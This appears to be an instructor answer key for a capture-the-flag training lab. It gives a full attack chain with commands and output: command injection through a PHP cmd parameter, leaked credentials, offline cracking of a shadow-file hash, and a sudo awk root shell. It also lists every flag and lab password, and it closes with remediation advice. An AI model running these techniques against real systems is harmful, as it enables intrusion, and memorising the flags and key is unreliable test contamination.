

Butcher from Hell

Boot-to-Root Solution Walkthrough

Offensive Security Training Lab · Instructor Answer Key · v1.0

```
Web RCE (connection.php) → .backup leak → SSH as jangow01
    → /var/backups/shadow.bak → crack butcher → su butcher
    → sudo awk (GTFOBins) → root
```

Target. A Dockerized rebuild of VulnHub **JANGOW: 1.0.1**, hosting on standard ports — HTTP (80), SSH (22), FTP (21). The objective is to capture three flags, each readable only by its owner, in a strict order: no stage can be skipped.

#	Flag file	Owner	Flag
1	/home/jangow01/user.txt	jangow01	HEHE{sudo_wont_save_you_this_time}
2	/home/butcher/user2.txt	butcher	ROOTLESS{1_4m_1n}
3	/root/proof.txt	root	ROOTED{n0w_1_4m_g0d}

0 Recon

Confirm the exposed services and verify the web application is reachable. A single request proves the injection point before any other work:

```
$ curl -s "http://TARGET/site/connection.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The response shows arbitrary shell output — **OS command injection as** `www-data`. The `connection.php` endpoint runs `system($_GET['cmd'])` with no sanitisation.

1 Web RCE → leak jangow01 credentials

Use the injection to read the credential file the developer left inside the webroot:

```
$ curl "http://TARGET/site/connection.php?cmd=cat%20/var/www/html/site/.backup"
...
$username = "jangow01";
$password = "abygurl69";
```

Credentials recovered: `jangow01 : abygurl69`.

2 SSH foothold as jangow01

The leaked credentials are reused for interactive SSH access:

```
$ ssh jangow01@TARGET
jangow01@TARGET's password: abygurl69

jangow01@jangow01:~$ cat ~/user.txt
HEHE{sudo_wont_save_you_this_time}
```

🚩 Flag 1 — HEHE{sudo_wont_save_you_this_time}

3 Enumerate: find the shadow backup

The real `/etc/shadow` is unreadable (`0640 root:shadow`). Enumeration turns up an administrator's mistake — a world-readable backup in `/var/backups`:

```
jangow01@jangow01:~$ ls -la /var/backups/
-rw-r--r-- 1 root root  ...  passwd.bak
-rw-r--r-- 1 root root  ...  shadow.bak

jangow01@jangow01:~$ cat /var/backups/passwd.bak
... butcher:x:1001:1001::/home/butcher:/bin/bash

jangow01@jangow01:~$ cat /var/backups/shadow.bak
butcher:$6$xxxxxxxx$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...:...
```

A second non-root user, **butcher**, exists — and its SHA-512 password hash is now in hand.

4 Crack butcher's hash

Move the hash to the attacker host and crack it offline against rockyou:

```
$ echo 'butcher:$6$xxxxxxxx$xxxx...' > butcher.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt butcher.hash
$ john --show butcher.hash
butcher:microphone
```

Equivalent with hashcat: `hashcat -m 1800 butcher.hash rockyou.txt`. Password recovered: `butcher : microphone`.

5 Switch to butcher

```
jangow01@jangow01:~$ su butcher
Password: microphone

butcher@jangow01:~$ cat /home/butcher/user2.txt
ROOTLESS{1_4m_1n}
```

🚩 **Flag 2 — ROOTLESS{1_4m_1n}**

> **Why the crack was mandatory:** `/home/butcher` is `0700`, so a jangow01-level shell cannot read `user2.txt` directly — the password is the only way in.

6 Privilege escalation: sudo awk → root

Check butcher's sudo rights:

```
butcher@jangow01:~$ sudo -l
User butcher may run the following commands on jangow01:
    (root) NOPASSWD: /usr/bin/awk
```

`awk` can spawn a shell, and here it runs as root with no password required. This is the textbook **GTFOBins** escalation:

```
butcher@jangow01:~$ sudo awk 'BEGIN{system("/bin/sh")}'

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/proof.txt
ROOTED{n0w_1_4m_g0d}
```

🚩 **Flag 3 — ROOTED{n0w_1_4m_g0d} · ROOT ACHIEVED**

Remediation

The defensive half of the lesson — each stage maps to a concrete fix:

Weakness	Fix
`system($_GET['cmd'])` command injection	Never pass user input to a shell. Use allow-lists / `escapeshellarg()`, or remove the feature entirely.
Credentials in a web-readable `.backup` file	Keep secrets out of the webroot, restrict file permissions, and rotate exposed credentials.
World-readable shadow backup	Set backups to `0600 root:root` and store them off-host.
Password reuse / dictionary word	Enforce strong, unique passwords; block dictionary words with a password policy.
`NOPASSWD: /usr/bin/awk`	Never grant sudo on shell-capable binaries. Scope rules to exact, non-interactive commands only.

> This lab is intentionally vulnerable and intended for isolated, closed training environments only. Every flaw is deliberate and must never reach a real deployment. Use only against systems you are authorised to test.